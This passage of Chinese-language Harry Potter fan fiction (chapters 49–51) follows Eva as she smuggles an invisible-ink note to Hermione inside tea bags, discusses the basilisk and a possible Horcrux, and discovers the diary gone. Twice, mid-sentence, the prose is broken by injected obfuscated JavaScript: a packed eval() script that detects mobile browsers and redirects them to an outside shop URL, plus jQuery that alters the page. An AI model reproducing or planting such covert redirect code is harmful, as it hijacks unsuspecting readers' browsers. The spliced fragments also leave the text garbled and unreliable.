这是她作为朋友最直接的警告和关心,合情合理。 罗恩缩了缩脖子,哈利则郑重地点了点头:“我们明白。” “保持联系。”Eva最后说道,对他们点了点头,然后转身去追曼蒂和帕德玛了。 49. 丝线与密码 和哈利、罗恩分开后,Eva的脚步快了些。刚才的对话让她心里沉甸甸的。金妮的状况比想象的更糟,连哈利他们都不知道该怎么办了。而她手里捏着那么多碎片——蛇怪、日记、汤姆·里德尔、管道、金妮的恐惧——却像捧着满满一捧水,不知道该从哪个指缝漏出去才算对。 她需要告诉赫敏。必须尽快。金妮的状态等不起,哈利和罗恩像无头苍蝇,而她自己掌握的碎片——蛇怪、管道、里德尔——必须拼凑起来。 但怎么传信?直接去医疗翼?不行,太频繁了。猫头鹰?目标太大,容易被拦截或询问。需要一个看似自然、不留痕迹的方式。 她的大脑飞速运转,像在解一道复杂的如尼文谜题。载体必须普通,传递路径必须合理,信息本身必须隐蔽…… 目光无意间扫过公共休息室角落里,几个女生正在分享家里寄来的零食。包装……普通的棉布茶包…… 一个念头闪过。 对了。茶包可以拆开重系。如果里面有东西……谁会仔细检查一包给医疗翼的慰问品? 但信息写在哪儿?羊皮纸?太小容易丢,太大显眼。 她想起上学期魔咒练习小组时,有一次弗立维教授教了个小技巧——“显形墨水”,用特定的魔杖手势让隐形墨水短暂显现。她和赫敏当时都觉得这个咒语“不够实用但很有趣”,还互相用隐形墨水在羊皮纸角落画过小图案当暗号。 就是它。隐形信息,普通载体,合理传递路径。安德鲁·柯克伯恩明天要去换药,他上个月训练时摔伤了胳膊,一直定期去医疗翼。昨天Eva还听见他跟朋友抱怨“明天下午又得去庞弗雷夫人那儿报到”。 计划在脑中迅速成形,每一步都审视着风险:茶包会不会被直接泡掉?安德鲁会不会好奇打开?庞弗雷夫人会不会自己留下不用?但这是目前能想到的最可行方案。没有完美选项,只有风险权衡。她必须赌一把。 Eva立刻起身回寝室。她从行李箱里拿出那套弗立维教授送的“趣味魔咒工具包”——里面有一小瓶快用完的显形墨水,还有几支特制的羽毛笔。她裁下一小片羊皮纸,很薄,只有巴掌大。然后蘸了蘸所剩不多的隐形墨水,开始写。 不能写太多。羊皮纸越小,携带越安全,也越不容易引人注意。 她要写下的,是自己思考了好几天、反复推敲才得出的结论。 一切的起点,是桃金娘五十年前死去的那间二楼女生盥洗室。Eva清楚地记得那天桃金娘颤抖的声音:“……水喷得特别凶……听见那种声音……越来越大……从裂缝里……只看见那双眼睛……” 桃金娘是在那里被蛇怪杀死的。死亡地点,很可能就是第一次遭遇怪物的地点。 然后,Eva想起了自己这些天像拼图一样粘在笔记本上的观察记录: 那些清亮、出现在奇怪位置的水渍,总是沿着墙根,尤其在二楼东侧附近和某些废弃管道附近最多、最明显。 费尔奇骂骂咧咧抱怨桃金娘盥洗室“漏水特别严重,墙都泡软了,修好了没两天又漏”。 那种低沉的、湿漉漉的、仿佛巨大身体蹭过管道的摩擦声和嗡鸣(哈利听到的蛇佬腔才能辨识的声音?),她自己也隐约感觉到过,来源方向似乎也指向城堡那一片区域。 盥洗室里那个锈蚀的、雕刻成蛇头形状的黄铜水龙头。桃金娘说它会“突然喷出水来,清亮亮的,冷得要命”。蛇形装饰——萨拉查·斯莱特林的标志。 这些点在她脑海里连成线:怪物(蛇怪)需要水或潮湿环境(蛇类习性),它在古老的城堡管道系统中移动。桃金娘盥洗室常年异常漏水、有一个蛇形水龙头、是桃金娘的死亡地、并且位于水渍和异常声音频发的区域。如果密室的入口需要蛇佬腔开启,一个位于偏僻废弃盥洗室、雕刻成蛇形、还连接着复杂管道的装置,难道不是最合理的“门”吗? 虽然还不能百分百确定,但这是目前最合理、最需要优先查证的假设。 她先画了个简笔画——一个歪歪扭扭的日记本形状(希望赫敏能看懂),旁边画了个向下的箭头,指向一行极小、极密的字: “T.R. 1943特殊贡献奖。所有异常线索(桃金娘死亡地、蛇形水龙头、持续漏水/水渍、管道异声)强烈指向桃金娘盥洗室为关键节点。疑似密室入口或管道枢纽,需首要查证。怪物确认蛇怪。金妮状态恶化,持有可疑日记(已封存)。哈利罗恩已知她异常,在查但缺方向。急需碰头或安全信道。另:观察到蜘蛛大规模逃离城堡特定区域。” 墨水干得很快,字迹立刻隐形了。羊皮纸看起来就是一张普普通通、略有磨损的空白小纸片。 Eva把羊皮纸对折两次,折成指甲盖大小。 第二天下午,Eva算好时间,在通往医疗翼的楼梯上“偶遇”了正要去换药的安德鲁。 “嗨,安德鲁。”她走过去,手里拿着那几包混了“料”的茶包,“你的胳膊好点了吗?” 安德鲁吊着绷带,脸色有点不耐烦:“好多了,就是还得去换药。烦死了。” “庞弗雷夫人很严格的。”Eva表示理解,然后看似随意地说,“对了,我听说医疗翼最近缺一些安神的茶?我正好有多余的几包香料茶,味道挺好的。你能帮我带给庞弗雷夫人吗?就说……拉文克劳学生的一点心意。” “香料茶?”安德鲁接过,凑到鼻子前闻了闻,皱了皱眉,“味道怪怪的。庞弗雷夫人会喜欢这个?” Eva心里一紧,面上却保持平静:“是帕德玛从印度带来的,据说安神效果很好。最近庞弗雷夫人为了石化的事和曼德拉草药剂忙得团团转,我们想表示一下感谢。” “哦,行吧。”安德鲁似乎被“安神”说服了,随手把茶包塞进袍子口袋,“反正我就说是拉文克劳送的慰问品,对吧?” “对,就这么说。谢谢你了,安德鲁。”Eva看着他漫不经心的样子,暗自希望他别再好奇。 “走了,回头见。”安德鲁吊着胳膊晃晃悠悠地走了。 Eva看着他走下楼梯,消失在拐角。现在,只能等了。 那天晚上在公共休息室,Eva写作业写得心不在焉。羽毛笔尖在羊皮纸上悬着,墨水快滴下来了才反应过来。曼蒂在旁边推了推她:“Eva,你这句魔药成分写错了,‘喷嚏草’不是那么拼的。” “哦,谢谢。”Eva赶紧改过来。 “你最近总走神。”曼蒂小声说,“还在担心金妮的事?” “有点。”Eva含糊地回答。她确实担心,但更担心的是赫敏能不能收到信息,能不能看懂,能不能想出安全的回复方式。 第二天一整天,没有任何消息。 Eva开始怀疑自己是不是太冒险了。万一安德鲁忘了把茶包给庞弗雷夫人呢?万一庞弗雷夫人直接用了茶包,没注意到里面夹的东西呢?万一赫敏没发现…… 第三天早上,早餐时,一个意想不到的人出现了。 赫敏·格兰杰走进了礼堂。 她看起来好多了。虽然脸色还有点苍白,人也瘦了一圈,但头发梳理整齐了(虽然还是蓬松),眼神恢复了往日的锐利。她直接走向格兰芬多长桌,在哈利和罗恩惊喜的注视下坐下,三人立刻头凑在一起,低声快速交谈起来。 Eva的心跳加快了。赫敏出院了,这是个好消息。但她的纸条……赫敏收到了吗?看懂了吗? 她盯着格兰芬多长桌。赫敏的目光扫过拉文克劳长桌,在Eva脸上停留了一瞬。很短暂,但Eva看见她几不可察地轻轻点了点头,同时右手食指在桌面上极其轻微地叩击了三下——短、长、短。 信号收到了,而且是摩尔斯电码的“R”(·—·),表示“收到”。但“老地方”图书馆现在去不了。 那么,哪里是安全又能短暂交谈的“新地方”? Eva的脑子飞快转动。赫敏刚出院,庞弗雷夫人可能嘱咐她要“适度活动”,她或许有机会在城堡较低、较安全的楼层散步。而Eva自己,也需要一个合理的理由离开塔楼区域,并且最好有级长“陪同”或至少在视线内。 机会出现在早饭后。佩内洛·克里瓦特叫住了几个留在公共休息室的拉文克劳学生,包括Eva、曼蒂和帕德玛。 “斯普劳特教授需要一些帮手,”佩内洛说,“去第二温室帮忙搬运一批新到的护树罗锅培养箱,就在城堡边上,很近。需要两三个人,可以加学院分。谁愿意去?” Eva立刻举起了手。曼蒂和帕德玛对视一眼,也举了手。这是个离开塔楼、在相对开放环境活动的合理机会,而且有佩内洛带队。 “好,就你们三个。穿上厚斗篷,外面冷。我们快去快回。”佩内洛利落地说。 他们走出城堡侧门时,冷风夹着雪粒扑面而来。第二温室离城堡主楼只有几十码远,路上积雪被清扫过。Eva的目光快速扫过周围——然后她看见了。 在通向温室的小路拐角,温室入口旁的背风处,赫敏·格兰杰正“恰好”站在那里,手里拿着一本《千种神奇药草与蕈类》,看起来像是在对照书辨认温室边一种耐寒的灌木。罗恩·韦斯莱陪在她身边,正搓着手取暖。 哈利不在。Eva瞬间明白了——哈利目标太明显,容易被跟踪或注意,所以赫敏带了罗恩作为“陪同”,并且选择在这个半户外、有合理理由(赫敏刚出院,需要新鲜空气和轻度活动;罗恩陪护)、且靠近Eva可能被派往地点(温室)的位置“偶遇”。 佩内洛也看到了赫敏和罗恩,眉头微皱,但没说什么——格兰芬多的学生出现在城堡外并不违规,只要他们不跑远。 “赫敏!你出院了!”曼蒂高兴地打招呼。 “嗯,好多了。”赫敏合上书,对她和帕德玛笑了笑,然后目光很自然地转向Eva,“Eva,正好,我有个关于上周魔药课肿胀药水的问题想请教一下,我记得你的成品颜色特别标准……”她说着,很自然地朝Eva走近了两步,同时快速对佩内洛说,“克里瓦特学姐,就一小会儿,不耽误你们干活。罗恩在这儿呢。” 佩内洛看了看赫敏苍白的脸,又看了看憨厚地站在一旁的罗恩,点了点头:“尽快。Eva,别走远,就在温室门口这里。” “好的,佩内洛。”Eva应道,走向赫敏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16980665|193567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 两人在温室入口的屋檐下站定,距离佩内洛他们只有十几步远,说话声压低些就能不被听见,但又在视线范围内,符合安全规定。罗恩则挪了挪位置,看似随意,实则挡住了佩内洛可能走过来的方向,并警惕地留意着周围。 “你的纸条我收到了,”赫敏语速极快,声音压得很低,眼睛却看着手里的书,仿佛在讨论书页内容,“茶包拆得很小心。你确定是蛇怪?” “确定。”Eva同样低声,快速而清晰地将桃金娘的话、水渍轨迹、蜘蛛逃离、公鸡死亡、海格提到的“五十年前”和“汤姆·里德尔”说了一遍。 赫敏听着,手指在书页上无意识地敲击着密码节奏。 “所以……蛇怪在管道里移动,入口可能是桃金娘盥洗室的蛇形水龙头,需要蛇佬腔开启。”赫敏的语速更快了,眉头紧锁,“至于那本日记……汤姆·里德尔的日记本……”她顿了顿,声音压得更低,带着一种研究遇到难题时的兴奋与凝重,“我联想到在一些提到‘永恒’、‘分裂灵魂’的最黑暗魔法传说摘要,以及《强力药剂》里关于某些诅咒需要依附物的警示章节中,瞥见过一些令人极度不安的片段。记载都语焉不详,充满警告,但核心描述——‘寄存部分自我’、‘侵蚀持有者生命’——和你说的日记特性,尤其是那种有自主意识的‘冰冷念力’,吻合度太高了。我有个非常可怕的猜测……但我不敢百分百确定。” “什么猜测?” “魂器。”赫敏低声说。 “魂器?”Eva低声重复这个陌生的词,字音带着不祥的重量。 “只是一种猜测,但必须作为最坏的可能来应对。”赫敏的呼吸有些急促,“如果真是那种东西,普通方法肯定无法摧毁,而且对持有者的侵蚀会是根本性的。” Eva心里一凛。 “那金妮……” “日记本在你那里封存了,但她的状态没有好转,说明影响已经根深蒂固,或者……”赫敏顿了顿,“控制源可能不止一个。我们需要查汤姆·里德尔后来怎么样了。我试过查报纸,线索太少。” “关于汤姆·里德尔,我还做了些调查。”Eva压低声音,语速加快,“奖杯陈列室只有他的特殊贡献奖杯。后来,我以准备‘霍格沃茨历史与著名人物’选修课前瞻报告为理由,向弗立维教授申请了查阅有限度的旧档案。在平斯夫人的监督下,我看到了他那一届的毕业生名录。” 她顿了顿,确保赫敏理解这个信息的来之不易:“记录非常干净,但也干净得反常。1938年入学斯莱特林,成绩全优,级长,男学生会主席,特殊贡献奖。但毕业去向一栏,要么是空白,要么就像被施了模糊咒一样,写着‘信息存档中’或‘未更新’。一个档案如此完美的优等生,毕业后却凭空消失了,这说不通。” 赫敏的瞳孔微微收缩。“空白?凭空消失?”她快速思考着,声音更轻了,“这不正常。一个档案如此完美的学生,毕业后却无迹可寻……除非记录被刻意抹去过,或者他后来用的根本不是‘汤姆·里德尔’这个名字……” “我们现在怎么办?”Eva问。 “分头行动。”赫敏语速更快了,“你继续留意金妮,但要极度小心,不要刺激她,也不要让她察觉。日记本封存好,绝对不要再用。我和哈利、罗恩会想办法调查那个盥洗室和管道图,但需要制定安全计划,对付蛇怪必须万无一失。” 她看了一眼不远处的佩内洛,佩内洛正示意曼蒂和帕德玛开始搬东西。“至于联系……老方法风险高了。我们需要新的暗号。” 赫敏的手在书页上似乎无意地划过,Eva瞥见她用指甲在页边空白处留下了几个极浅的印子——是几个如尼文符号的简笔画。Eva认出来,那是她们曾在古代如尼文选修课宣传册上看到过的几个代表“信息”、“隐蔽”和“危险”的符号。 “如果你有紧急或重要信息需要传递,”赫敏低声说,“让猫头鹰送一封信给我,信的内容就用普通草药课笔记或魔药配方做掩护。但在信封的封口火漆印旁边,用羽毛笔尖蘸清水点三个几乎看不见的小点,呈三角形。我看到这个标记,就知道要检查是否有隐形墨水信息。同样,我给你的信也会用这个标记。” “明白。”Eva点头。清水痕迹干了几乎看不见,但用特定的显形咒语或魔药喷雾(赫敏肯定能弄到)就能让水渍痕迹短暂显现,比携带实物更隐蔽。 “还有,”赫敏最后,极其严肃地看着她,“无论发生什么,保护自己第一。不要单独面对任何可疑情况。蛇怪……魂器……这比我们想象的更黑暗。” “你也是。”Eva说。 佩内洛的声音传来:“Eva,该进来了!” 赫敏对她点了点头,转身走向罗恩,两人开始慢慢往回走,看起来就像刚结束一场简短的学术讨论。 Eva深吸一口冰冷的空气,转身走进温室。护树罗锅培养箱很轻,但她搬运时觉得格外沉重。 丝线更多了,网更密了。而她们刚刚,在规则的缝隙里,完成了一次危险的接线。 窗外的雪,无声地覆盖着一切痕迹。 50. 封印与裂隙 雪终于停了。 圣诞节假期最后一天,天空裂开一道缝,露出许久不见的蓝。阳光照在积雪上,反射出刺眼的白光,从拉文克劳塔楼望出去,整个世界亮得有些不真实。 但城堡里面还是老样子——阴冷,潮湿,空气里那股挥之不去的土腥味更重了,像是积雪下有什么东西正在腐烂、发酵。 返校的学生们陆续回来了。火车到站那天下午,Eva站在拉文克劳塔楼的窗前,看着深红色的霍格沃茨特快喷着白烟驶入霍格莫德车站。从这么高的地方看下去,学生们像一群五颜六色的小蚂蚁,涌出车厢,涌上马车,朝着城堡缓慢移动。 “人多了。”曼蒂在她旁边小声说,手指在窗玻璃上画了个圈,“不知道是好是坏。” Eva没说话。人多意味着更多的眼睛,但也意味着更多的混乱。袭击还会发生吗?金妮那苍白恍惚、日渐消瘦的样子,会暴露在更多返校同学好奇或担忧的目光下吗?那本日记……她下意识地摸了摸衣柜的方向——铁盒还在,冰冷的触感隔着木板传来。 她今天早餐时又看见了金妮。女孩坐在韦斯莱家嘈杂的红□□潮中,却像一座孤岛。她几乎没碰面前的粥,只是低着头,手指无意识地反复卷着袍子的一角,又松开,再卷起。她的眼皮沉重地耷拉着,眼下是浓得化不开的青黑。有一次,她突然抬起头,目光空洞地扫过礼堂,在与Eva视线相对的瞬间,Eva看见那双褐色的眼睛里迅速掠过一丝深切的、近乎绝望的恐惧,但下一秒,那恐惧就像被什么东西强行抹去,重新变得空洞而平静。然后金妮猛地低下头,肩膀几不可察地瑟缩了一下。 那本日记带来的“根”,显然没有因为被短暂封存而停止生长。它就在金妮心里,疯狂地汲取着她的生命力。 德拉科·马尔福在斯莱特林长桌,正慢条斯理地用银刀切割着香肠。他的灰蓝色眼睛却越过喧闹的人群,精准地落在了她的脸上。不是惯有的讥诮或审视,而是一种更深的、带着评估和一丝不易察觉的烦躁的凝视。 马尔福的眉毛几不可察地挑动了一下,仿佛捕捉到了她眼底那抹未能完全掩饰的忧虑。随即,他嘴角习惯性地向下撇了撇,像是厌恶自己竟会去注意一个拉文克劳的情绪,迅速移开了视线,转头对克拉布说了句什么,引起后者粗哑的笑声。 返校晚餐时,礼堂里恢复了往常的喧闹,但一种紧绷的气氛悬浮在食物的热气之上。Eva注意到,金妮的位置被她的哥哥们有意无意地围在中间,珀西不时严肃地低声对她说着什么,双胞胎也难得没有嬉闹,只是担忧地看着妹妹。罗恩几乎没怎么吃,眼睛一直盯着金妮。哈利坐在金妮斜对面,绿眼睛里写满了疲惫和无力,每当金妮因为周围突然的声响而轻微颤抖时,他的下颌线就会收紧。 “她看起来……更糟了。”曼蒂顺着Eva的目光看去,小声叹息,“韦斯莱夫人假期没来接她回去看看吗?” “也许……情况比我们想的更复杂。”Eva低声说。赫敏关于“魂器”和“侵蚀完成”的警告在她脑中回响。如果金妮已经完全被控制,接回家也许反而会引发不可预知的危险?或者,韦斯莱夫妇根本不清楚女儿身上发生了什么,只当她是“惊吓过度”? 晚餐后,拉文克劳公共休息室里挤满了返校的学生。Eva坐在窗边,摊开变形术课本,却感觉那些关于跨物种变形的文字在眼前模糊成一片。她脑子里反复回放着金妮那双瞬间被恐惧充满又强行归于死寂的眼睛,还有赫敏凝重的声音:“……像一个被设定好程序的傀儡,只等某个指令触发。” 指令会是什么?什么时候? 假期结束第二天,新学期正式开始。 上午第一节是变形术。麦格教授走进教室时,脸色比平时更严肃,嘴角抿得紧紧的。她把教案放在讲台上,没立刻开始讲课,而是看着全班,目光在每个人脸上停留了一瞬。 “早上好。”她的声音清晰而冷静,“在开始今天的课程前,我必须再次强调纪律和安全。袭击事件仍在发生,每个人都要保持最高警惕。任何异常——哪怕是最微小的异常——都要立刻报告级长或教授。” 她顿了顿,目光严厉地扫过全班:“此外,最近有学生试图独自调查这些事件。我必须明确告诉你们:这是极其危险且不明智的行为。调查是教授们的责任。你们要做的,是遵守规定,保护自己,好好学习。” 教室里安静得能听见羽毛笔滚到地上的声音。Eva低下头,假装整理课本。她知道麦格教授这话不是说给她一个人听的,但听着还是有点……心虚。 “现在,”麦格教授的声音稍微缓和了些,“打开你们的《初级变形术指南》,翻到第六十七页。今天我们要学习如何把一根火柴变成针——这是未来O.W.Ls考试的必考项目,虽然对你们来说还早,但基础必须打好。” 火柴变针。Eva看着面前那根小小的、棕色的木棍,心里却想着别的事——金妮苍白的脸,那本暗红色的日记本,还有赫敏说的“魂器”。这些事像一团乱麻,塞在脑子里,让她静不下心。 “集中精神,张小姐。”麦格教授的声音在耳边响起。 Eva猛地回过神。麦格教授正站在她桌边,眉头微皱。 “是,教授。”她赶紧拿起魔杖,对准那根火柴。 变针需要清晰的想象——针的形状,针尖的锐利,针眼的细小。但她脑子里一会儿是蛇怪的黄色眼睛,一会儿是日记本封皮那种油腻的光泽。 “速速变形。” 魔杖尖涌出银光,但不够稳定,闪烁不定。火柴开始改变——变细,变长,一头冒出尖,但另一头……针眼没出来,反而鼓了个小包,像根歪了的钉子。 “重来。”麦格教授的声音不容商量,“控制你的想象力。要变的是针,不是别的。” Eva深吸一口气,努力把那些杂念压下去。一次,两次,第三次终于成功了——一根银色的针落在桌上,针眼小小的,但清晰可见。 “有进步。”麦格教授点点头,走向下一个学生。 下课后,Eva和曼蒂、帕德玛一起走出教室。走廊里人多了些,窃窃私语声嗡嗡的。有人在议论昨天的袭击,有人在抱怨作业太多,还有人在计划假期后第一个周末去哪里玩——虽然魁地奇训练还没恢复,但总得找点乐子。 “你们听说了吗?”一个拉文克劳四年级女生压低声音对同伴说,“费尔奇说,尼克被石化的地方,墙上又出现了那些字……” “什么字?” “和上次一样:‘密室已经被打开。与继承人为敌者,警惕。’” Eva的脚步顿了一下。那些字又出现了。像在宣告什么,像在……炫耀。 午饭后,Eva去图书馆还书。平斯夫人站在门口,像只警惕的猫头鹰,眼睛盯着每一个进出的学生。 “学生证。”她伸出手,声音干巴巴的。 Eva把学生证递过去。平斯夫人仔细看了看,又抬眼打量了她几秒,才点点头:“进去吧。只能借一本,一小时内必须出来。” 图书馆里人不多。假期快结束了,但大部分学生还没回来。Eva走到“古代魔法文献”区,假装在找一本关于如尼文起源的书,眼睛却扫过周围——她在找赫敏。 没有。赫敏不在。 但她看见了金妮。 金妮独自坐在角落的一张桌子前,面前摊着几本书。她的脸色比早上更苍白了,眼下青黑浓得像化不开的墨。她没在看书,只是盯着桌面,手指神经质地绞在一起,嘴唇微微翕动,像在跟谁说话——但周围明明没有人。 Eva的心沉了下去。金妮的状态……越来越糟了。 她犹豫了几秒,最终还是没有走过去。现在过去只会吓到金妮。而且,平斯夫人在盯着。 她随便拿了一本书——《地中海神奇生物传说》,就是上次看到蛇怪插图的那本——走到借阅台。平斯夫人接过书,翻了翻,眉头皱起来。 “这本书……”她盯着Eva,“你为什么借这个?” “我想写一篇关于古代神奇生物与现代魔法关联的论文,”Eva让自己的声音听起来尽量平稳,“弗立维教授说可以提前准备。” 平斯夫人又看了她几秒,最后点点头,在借阅卡上盖了章:“按时归还。” “谢谢夫人。” 走出图书馆时,Eva回头看了一眼。金妮还坐在那里,一动不动,像一尊苍白的雕像。 下午没有课。Eva和曼蒂、帕德玛在公共休息室写作业。壁炉里的火烧得很旺,但好像驱不散那股寒意。 “Eva,”曼蒂小声说,“你最近总是心不在焉的。” “有吗?” “有。”帕德玛也看过来,“写魔药论文时,你把‘喷嚏草’写成‘喷嚏花’三次了。平时你不会犯这种错。” Eva低下头,看着羊皮纸上那些被划掉的错字。确实,她最近注意力很难集中。那些事——金妮、日记、蛇怪——像一群嗡嗡叫的苍蝇,总是在脑子里打转。 “可能……最近睡得不太好。”她含糊地说。 “我也是。”曼蒂叹气,“老做噩梦。梦见墙上那些字。” 窗外,天色渐渐暗下来。雪又开始下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16980666|193567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,细细密密的,像撒盐。 晚饭时,礼堂里的气氛更凝重了。科林·克里维和贾斯廷·芬列里的位置还空着,厄尼·麦克米兰的位置也空了。赫奇帕奇长桌那边,几个学生红着眼圈,低头默默吃饭。 Eva小口吃着盘子里的炖菜。菜是热的,但她感觉不到暖意。 就在这时,她听见旁边桌两个拉文克劳高年级学生在低声说话: “……听说了吗?魔法部可能要派人来。” “真的?派谁?” “不知道。但《预言家日报》今天有篇文章,质疑霍格沃茨的安全管理……” Eva的心轻轻一跳。魔法部要介入?那事情就更复杂了。 她看向教师席。邓布利多教授正和麦格教授低声交谈,表情严肃。斯内普教授坐在最边上,黑眼睛缓缓扫视礼堂,目光在哈利身上停留的时间格外长。 晚饭后,学生们陆续离开礼堂。Eva跟着拉文克劳的队伍往塔楼走。经过二楼时,她看见了那滩水——就在尼克被石化的地方附近,清亮亮的,在火把下反着光。费尔奇正跪在那里,用一块脏兮兮的抹布拼命擦,嘴里骂骂咧咧: “没完没了!这墙里是通了河吗?!” Eva快步走过,但那股熟悉的土腥味还是钻进鼻子。湿冷的,带着点……甜腻?不,不是甜腻,是更奇怪的味道,像腐烂的植物根茎。 回到塔楼,公共休息室里已经有不少人了。公共休息室里挤满了人,返校的学生带来了更多消息和传言。 “我爸爸写信说,《预言家日报》上又在说学校不安全!”一个拉文克劳学生挥着一份报纸复印件,“质问邓布利多教授为什么还没抓到凶手!” “我妈妈也是,一天一封信,问我有没有按时回宿舍,有没有看到奇怪的东西……”另一个学生叹气。 “听说韦斯莱先生在魔法部压力很大,因为罗恩和哈利他们之前的事……” “这跟韦斯莱先生有什么关系?” “谁知道呢,报纸上含沙射影的……” Eva在窗边坐下,摊开《地中海神奇生物传说》。书页翻到蛇怪那一章,那张雕版插图还在——巨大的翠绿色蛇,盘踞在洞穴里,黄色的眼睛亮得刺眼。 她看着那插图,脑子里却在想别的事。 赫敏说需要调查盥洗室和管道图。但怎么调查?现在连单独行动都不允许,更别说去一个废弃的、闹鬼的盥洗室了。 而且……蛇怪怕公鸡叫。但现在城堡里一只公鸡都没有了。海格养的那些,在第一次袭击前就全死了。是巧合,还是……有人故意杀的? 她需要更多信息。关于汤姆·里德尔,关于五十年前的事,关于那本日记。 那天晚上,Eva躺在床上很久没睡着。窗外的风声像某种古老的叹息,在塔楼间穿梭。她想起金妮那双死寂的眼睛,想起早餐时她瞬间的恐惧和瑟缩,想起赫敏说的“预设的魔法机制”和“触发指令”…… 如果那本日记真的是魂器,如果金妮已经被侵蚀到这种地步,那么她那种诡异的平静,是不是意味着……日记已经在她体内“扎根”太深,甚至开始屏蔽或控制她的表层情绪,只为在关键时刻爆发?那个铁盒的封印,真的足够隔绝日记本与金妮之间可能存在的、超越物理距离的联系吗? 她需要再检查一下那本日记,确认封印是否稳固。 第二天早上,天还没亮透,Eva就悄悄起身了。曼蒂还在熟睡。她轻手轻脚地走到衣柜前,拉开柜门,伸手去摸最底层—— 指尖传来的触感让她整个人瞬间僵住,仿佛一道冰锥沿着脊椎直刺而上,瞬间冻结了血液和呼吸。 衣服还在。那个红色的铁皮盒子也还在。 但盒盖敞开着,像一张无声嘶喊的嘴。里面她亲手铺上的棉衬内里空空如也,仅残留着一丝若有若无的、冰冷的滑腻感,和她记忆中被侵蚀时的感觉一模一样。 她猛地缩回手,手指冰凉发麻,几乎要失去知觉。封印的魔咒被抹去了,没有暴力破坏的痕迹,安静得令人心寒,更像是一种精确而傲慢的宣告:你们的手段,不过如此。 腕间的玉佩依然温润,没有预警。但这比直接的黑暗力量更让她毛骨悚然——这是一种精确计算过的、渗透性的、完全蔑视常规魔法防御的邪恶。爷爷说的“根”与“念”,比她想象的更诡谲,更……缠人。 “它回家了。” 一个冰冷的认知,而非声音,像毒蛇一样倏地钻进她脑海深处,带来一阵尖锐的战栗。窗外呼啸的风声,此刻听来都像是那本日记在黑暗中发出的、无声的嘲笑。 51. 日记的去向 Eva盯着那空荡荡的铁盒,感觉全身的血液都凝固了。 盒盖就那么敞开着,里面的棉衬皱巴巴地窝在角落,像被人随意翻过。那本暗红色的日记本不见了——不翼而飞。 封印咒被抹去了,一点痕迹都没留下。没有魔咒碰撞的焦痕,没有强行撬开的变形,什么都没有。就像……就像盒子自己选择了打开,放走了里面的东西。 她跪在衣柜前,手悬在半空,指尖还残留着那股冰冷的触感。脑子里只有一个念头在嗡嗡作响:被人拿走了?谁?什么时候?怎么拿到的? 这个念头刚一冒出来,Eva就下意识地摇了摇头。不对。如果是被人拿走,不可能这么干净利落,连封印咒都能悄无声息地解除。而且,谁会知道她把日记本藏在这里?除了她自己,没人知道。 除非…… 她想起昨天晚上,在公共休息室窗边写作业时,那股突如其来的、想要去看一眼日记本的冲动——像一根无形的线在拉扯她的注意力。当时她以为是正常的担忧,但现在回想起来,那感觉更像是一种……召唤? 日记本在呼唤她? 这个想法让她背脊发凉。如果日记本真的有意识,如果它能主动影响持有它的人,那么…… “Eva?你在干什么?” 曼蒂的声音从床上传来,带着刚睡醒的含糊。 Eva迅速把铁盒合上,塞回衣柜底层,用衣服重新盖好,然后站起身:“没什么,找双袜子。” “这么早……”曼蒂翻了个身,被子裹得更紧了些,“才六点……” “我睡不着了。”Eva轻声说,坐到床边开始穿鞋。她的手有点抖,系鞋带的动作比平时慢。 不能再等了。 日记本不见了,这意味着什么?是回到了金妮那里?还是去了别的地方?不管怎样,金妮现在的状态一定更危险了。那个“指令”——如果真的有——可能随时会触发。 她需要立刻告诉赫敏。 早餐时,礼堂里的气氛比昨天更压抑了。返校的学生们挤在一起,窃窃私语声嗡嗡作响,像一大群受惊的蜜蜂。 “听说了吗?又有新消息了!” “什么消息?” “我爸爸写信说,《预言家日报》今天又有文章,质问学校为什么不关闭……” “他们会关闭学校吗?” “不知道,但肯定闹得很大……” Eva坐在拉文克劳长桌边,小口喝着南瓜汁。她的目光扫过礼堂——在找金妮。 金妮坐在韦斯莱家中间,但和其他红头发隔开了一小段距离。她低着头,机械地用勺子搅着碗里的燕麦粥,动作缓慢得像在梦游。她的脸色白得吓人,眼下青黑浓得像化不开的墨,连嘴唇都失了血色。 更让Eva心惊的是,金妮看起来……异常平静。不是平时那种空洞的死寂,而是一种诡异的、近乎安详的平静。就好像所有的恐惧、所有的挣扎都被抽走了,只剩下一个空壳。 是日记本的影响加深了?还是……已经“完成”了什么? 就在这时,金妮突然抬起头,视线直直地看向拉文克劳长桌——看向Eva。 那双褐色的眼睛里没有任何情绪,空洞得像两个深井。金妮盯着Eva看了几秒钟,嘴角几不可察地向上弯了一下——一个微小、僵硬、没有任何笑意的弧度。 金妮的眼睛直视着Eva,褐色的瞳孔在晨光下显得有些黯淡。她的嘴唇微微翕动,Eva读不出她在说什么,但那个口型……像是在说:“找到了。” 然后,金妮低下头,继续搅拌碗里的燕麦粥。一切恢复如常,好像刚才那个诡异的微笑从未发生过。 但Eva看见了。她全身的血液几乎要凝固。 日记本控制着金妮。它知道是她拿走了日记本,现在日记本回去了,金妮来“确认”她看见了。 而且……那个笑容是什么意思?“找到了”?找到了什么?日记本自己回去了,还是……找到了别的什么? Eva低下头,机械地往嘴里送了一勺燕麦粥。粥已经凉了,黏糊糊的,没什么味道。她勉强咽下去,喉咙发紧。 就在这时,她听见旁边两个拉文克劳学生在低声交谈: “昨天晚上……好像有人看见格兰芬多那个红头发一年级女孩,在宵禁后还在走廊里走……” 